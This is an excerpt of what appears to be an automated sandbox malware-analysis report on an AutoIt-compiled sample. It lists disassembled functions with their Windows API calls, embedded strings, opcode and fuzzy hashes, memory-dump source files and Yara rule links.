                                                          Function 00007FF6A53DC858 Relevance: 16.7, APIs: 11, Instructions: 166COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                                          • String ID:
                                                          • API String ID: 1255039815-0
                                                          • Opcode ID: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
                                                          • Instruction ID: 57354fa7e597a6b9c635aa3a73837766be42ca046a0b0fee4c742828e8805a3b
                                                          • Opcode Fuzzy Hash: ea7a7ac653921025fbba948ebd31ca7d5268814b13a9ba19b0931f3d2795027d
                                                          • Instruction Fuzzy Hash: 01618B23B25A668AEB10CF61D8445FD37B4FB86F88B044435DE0A97B96EF38D945C340
                                                          Function 00007FF6A537E774 Relevance: 16.2, APIs: 2, Strings: 7, Instructions: 438COMMON
                                                          Download Yara Rule
                                                          APIs
                                                            • Part of subcall function 00007FF6A5376838: CreateFileW.KERNELBASE ref: 00007FF6A53768A2
                                                            • Part of subcall function 00007FF6A5394380: GetCurrentDirectoryW.KERNEL32(?,00007FF6A537E817), ref: 00007FF6A539439C
                                                            • Part of subcall function 00007FF6A53756D4: GetFullPathNameW.KERNEL32(?,00007FF6A53756C1,?,00007FF6A5377A0C,?,?,?,00007FF6A537109E), ref: 00007FF6A53756FF
                                                          • SetCurrentDirectoryW.KERNEL32 ref: 00007FF6A537E8B0
                                                          • SetCurrentDirectoryW.KERNEL32 ref: 00007FF6A537E9FA
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: CurrentDirectory$CreateFileFullNamePathwcscpy
                                                          • String ID: #include depth exceeded. Make sure there are no recursive includes$>>>AUTOIT SCRIPT<<<$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
                                                          • API String ID: 2207129308-1018226102
                                                          • Opcode ID: 7654d4b183df3eb3caec50ecd691c9a5f6b9dc58ab4dd7f008c23ed8cccd2aaf
                                                          • Instruction ID: 14c273e8840bbc08029517214fcf3fba77f3e5a64f91b47dc0297d19b7192181
                                                          • Opcode Fuzzy Hash: 7654d4b183df3eb3caec50ecd691c9a5f6b9dc58ab4dd7f008c23ed8cccd2aaf
                                                          • Instruction Fuzzy Hash: C012A322E2AE52D6EB10DB65D4501BD6760FFC6B94F800132EA4E87699EF7CED45C700
                                                          Function 00007FF6A5402A18 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 174networkfileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Icmp$CleanupCloseCreateEchoFileHandleSendStartupgethostbynameinet_addr
                                                          • String ID: 5$Ping
                                                          • API String ID: 1486594354-1972892582
                                                          • Opcode ID: 0d6eaf58e78083ddf5086f759885e7164da70b35df3614e633e12c21ccb6c764
                                                          • Instruction ID: 6431d3acb97a5758bd9a391d7389136bac657a659dfb2956488e8c5911303e4b
                                                          • Opcode Fuzzy Hash: 0d6eaf58e78083ddf5086f759885e7164da70b35df3614e633e12c21ccb6c764
                                                          • Instruction Fuzzy Hash: BC716A62A1EA4286EB20DF25D49437D27A0FF96F90F118432EA4DC7796DF7CE8418B40
                                                          Function 00007FF6A53AD504 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 117COMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID: INF$NAN$NAN(IND)$NAN(SNAN)$inf$nan$nan(ind)$nan(snan)
                                                          • API String ID: 3215553584-2617248754
                                                          • Opcode ID: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
                                                          • Instruction ID: b3641e681dddaa52c02f8c39ca48d282bf87cfbb766ef1eed3311eb5daf6b1d4
                                                          • Opcode Fuzzy Hash: e534a4a1f8a44b0f303199b2ab2fa91302a5b5a6dc95b4e8f2eb5eb0306d3d2b
                                                          • Instruction Fuzzy Hash: A441BD72A16F5589FB10CF25E8517AD33A8EB4AB88F404536EE5C87B94EE3DD825C340
                                                          Function 00007FF6A53E76D8 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 77windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: HandleLoadMessageModuleStringwprintf
                                                          • String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
                                                          • API String ID: 4007322891-4153970271
                                                          • Opcode ID: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
                                                          • Instruction ID: 6d6fc7ac312d6941398033cd0b8b18d318103bb52c3fc0e46fa62491ea2139b4
                                                          • Opcode Fuzzy Hash: 1538dd0993c1f0be1c678023f24a10f35c888a11721d87e6110b8b553893543d
                                                          • Instruction Fuzzy Hash: 07315032A2AE82D2EB10DB21E4415FD6360FF96F84F844032EA4D87699EF7CD906C740
                                                          Function 00007FF6A53DE1AC Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 76windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$CtrlParent$ClassName
                                                          • String ID: ComboBox$ListBox
                                                          • API String ID: 2573188126-1403004172
                                                          • Opcode ID: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
                                                          • Instruction ID: 2e987b75a06c918ab4c01e74e998e19b424a0da72cf8ac45de59df97925a4a47
                                                          • Opcode Fuzzy Hash: 39eb648efbb2d80ebd84a17eab69a0e81cb5d0c8019180baf925106c5b1038cd
                                                          • Instruction Fuzzy Hash: 0B31CF32A1AA8182EB10DB21E8541FD63A1FFDAFE0F448131DA9D87796EE2CD9058740
                                                          Function 00007FF6A53ECA98 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 59networkCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: wcscpy$CleanupStartupgethostbynamegethostnameinet_ntoa
                                                          • String ID: 0.0.0.0
                                                          • API String ID: 2479661705-3771769585
                                                          • Opcode ID: 281b95de85becf4cb0c172ae07bcd082ee5a72526fdd79f54f4593c1c2c2b1be
                                                          • Instruction ID: d1c38a2794c5f7f277a958007c5630cf708ff7f0cf745584075a306bb568ec88
                                                          • Opcode Fuzzy Hash: 281b95de85becf4cb0c172ae07bcd082ee5a72526fdd79f54f4593c1c2c2b1be
                                                          • Instruction Fuzzy Hash: 68215C62A2AD8791EA24DB11E8543BD63A0EFD7F80F404135D94EC66AAEE6CED44C700
                                                          Function 00007FF6A5420D7C Relevance: 15.2, APIs: 10, Instructions: 209windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ItemMenu$InfoWindow$CheckCountCtrlEnabledFocusLongMessagePostProcRadio
                                                          • String ID:
                                                          • API String ID: 2672075419-0
                                                          • Opcode ID: 81d3685461009c55574efaa98ca8f745de800fbd42e2e79216640aebb2792b80
                                                          • Instruction ID: 41095318cc03c5f563b9b23a42edb1bd06aa8a23a1e90c7adee91f1bb5d075bd
                                                          • Opcode Fuzzy Hash: 81d3685461009c55574efaa98ca8f745de800fbd42e2e79216640aebb2792b80
                                                          • Instruction Fuzzy Hash: 5E917D76B1A6628AEB50CF61D4947BD27A1FB86F88F104075DE0DC7A99DE78EC46C300
                                                          Function 00007FF6A53E92E4 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                          • String ID:
                                                          • API String ID: 2156557900-0
                                                          • Opcode ID: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
                                                          • Instruction ID: ec17dceb7cf6170212e2e134e1ec84a49e1c94298a2c1a13f664a4b2fb7e81ac
                                                          • Opcode Fuzzy Hash: f7d99cf07bea50fb16dd5d3cc311eaa5ea5dc55bf0c60a23a6c1e8e39f679243
                                                          • Instruction Fuzzy Hash: 0F314265B1EB9286EB54CB66A84473972E1EB96F50F504134CD0EC7B58EE3DEC498B00
                                                          Function 00007FF6A53DE908 Relevance: 15.1, APIs: 10, Instructions: 59keyboardsleepwindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Virtual$MessagePostSleepThread$AttachCurrentInputProcessWindow
                                                          • String ID:
                                                          • API String ID: 685491774-0
                                                          • Opcode ID: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
                                                          • Instruction ID: b57537f82e1e2fcfda0ca4b18c6897286fecda1dd2f449fd67ed253661551e91
                                                          • Opcode Fuzzy Hash: 218ae80792710925bb17cb5ea99adcd606458d8e9e9d8c7235401f523141f2b8
                                                          • Instruction Fuzzy Hash: 0D11A235B1691282F704DB66A8585BD22A1EFDEF90F409438C90ECFB50DE3DD8548740
                                                          Function 00007FF6A53DF7F4 Relevance: 14.5, APIs: 2, Strings: 6, Instructions: 471COMMON
                                                          Download Yara Rule
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                          • API String ID: 0-1603158881
                                                          • Opcode ID: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
                                                          • Instruction ID: a10616ec1c72e2062a2fe550c2e1cf32025a94daad7afddc204bc282be9f05ba
                                                          • Opcode Fuzzy Hash: 29975b3c2b9711d51f2a34939379774d20c8c5231b4f57784e2d79393856af5d
                                                          • Instruction Fuzzy Hash: 40127163F2AA4292EA58DB21C8913FD62F1AF96F44F844931DA1DC6295FF7CED54C200
                                                          Function 00007FF6A540767C Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 231COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Variant$Init$Clear
                                                          • String ID: Incorrect Object type in FOR..IN loop$Null Object assignment in FOR..IN loop$_NewEnum$get__NewEnum
                                                          • API String ID: 3467423407-1765764032
                                                          • Opcode ID: 755c13cc5803facce58e4d9d742150e2f30babc306bf8098f39121b55d76cf21
                                                          • Instruction ID: 6df90bacc345faf5c214ac77a0622aef2264cdd76e46855af5a4729b739ebb4c
                                                          • Opcode Fuzzy Hash: 755c13cc5803facce58e4d9d742150e2f30babc306bf8098f39121b55d76cf21
                                                          • Instruction Fuzzy Hash: A0A19C32A0AB4286EB20CF65E4406AD77A0FB99F98F644132DE4D87B54DF3CE845C741
                                                          Function 00007FF6A541A350 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 139windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: MessageSend$Window$CreateObjectStockwcscat
                                                          • String ID: -----$SysListView32
                                                          • API String ID: 2361508679-3975388722
                                                          • Opcode ID: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
                                                          • Instruction ID: d0f5b496478a954f5a7dd4c09f0cadec22a48a5761edd8e1877bd730dac42809
                                                          • Opcode Fuzzy Hash: c344d9879c390065c59b29320dac7b0039891542bbecba4ba3e0f02e7f9bfa97
                                                          • Instruction Fuzzy Hash: D751E132A15B919BE720CF25E8446DD73A1FB89B84F40413ADE4D87B59CF38D995CB40
                                                          Function 00007FF6A53DE2CC Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 54windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: ClassMessageNameParentSend_invalid_parameter_noinfo
                                                          • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                          • API String ID: 2019164449-3381328864
                                                          • Opcode ID: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
                                                          • Instruction ID: 78999fe03acff6532d6dc4476f0211309d6737518d50abdef73d29e0c20539e4
                                                          • Opcode Fuzzy Hash: 85bc50b5cb3f1aae72e6251db0d1ce00868677b2ce09b4091907517111ac15a9
                                                          • Instruction Fuzzy Hash: E8212C62F2E917D1FB50DB15E9542B927A0AFC2F88F408436CD0DC7696FE6CE9069700
                                                          Function 00007FF6A5407054 Relevance: 13.9, APIs: 9, Instructions: 373COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: FreeString$FileFromLibraryModuleNamePathQueryType
                                                          • String ID:
                                                          • API String ID: 1903627254-0
                                                          • Opcode ID: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
                                                          • Instruction ID: b10ce2efab83e3aab51b4c4a5e1f2d55aa611f8f44d70e6b8fe8159c93533699
                                                          • Opcode Fuzzy Hash: 598b5a242d4ad7e8ea74ab1cb47f7436f773884321b066f1e5bf024af7697886
                                                          • Instruction Fuzzy Hash: DE027D22A19A82C2EB50DF29D4402AD7760FB96F99F204032EF4E87B64DF3CD949C741
                                                          Function 00007FF6A541C324 Relevance: 13.7, APIs: 9, Instructions: 163windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Window$MessageSend$LongShow$DeleteFocusInvalidateObjectRect
                                                          • String ID:
                                                          • API String ID: 3210457359-0
                                                          • Opcode ID: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
                                                          • Instruction ID: 780799e81051bfe4aa695daa1e040a49fa4a169e1faa6a180385991ceaf7baaa
                                                          • Opcode Fuzzy Hash: 33ab6cce80c9e0840b45516de4cf550524ae496078474d2d7534a7033dd0db45
                                                          • Instruction Fuzzy Hash: 5161DF25A0E65786FB34DB2588447BA2661FF82FA8F108131DA1DC76D6CE7DEC90A710
                                                          Function 00007FF6A53DD780 Relevance: 13.6, APIs: 9, Instructions: 54memorythreadCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000001.00000002.1383777715.00007FF6A5371000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6A5370000, based on PE: true
                                                          • Associated: 00000001.00000002.1383732460.00007FF6A5370000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5425000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383931766.00007FF6A5448000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1383980867.00007FF6A545A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000001.00000002.1384000529.00007FF6A5464000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_1_2_7ff6a5370000_l5VhEpwzJy.jbxd
                                                          Similarity
                                                          • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                          • String ID:
                                                          • API String ID: 1957940570-0
                                                          • Opcode ID: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
                                                          • Instruction ID: 58aa3ac0e37c525c7c25d0c8e0332ed0dae6cf0fc5eaf4ffdb7c889bdc505896
                                                          • Opcode Fuzzy Hash: 67bda6fc94471c3762a54e3e67296020613b076a2f011637c0efff71f078e81c
                                                          • Instruction Fuzzy Hash: A5213C7291AB5182E710CF52E4483ADB7A0F79AFDAF048165DA8D97B54CF7CD5488B00
                                                          Function 00007FF6A5420B24 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 142windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
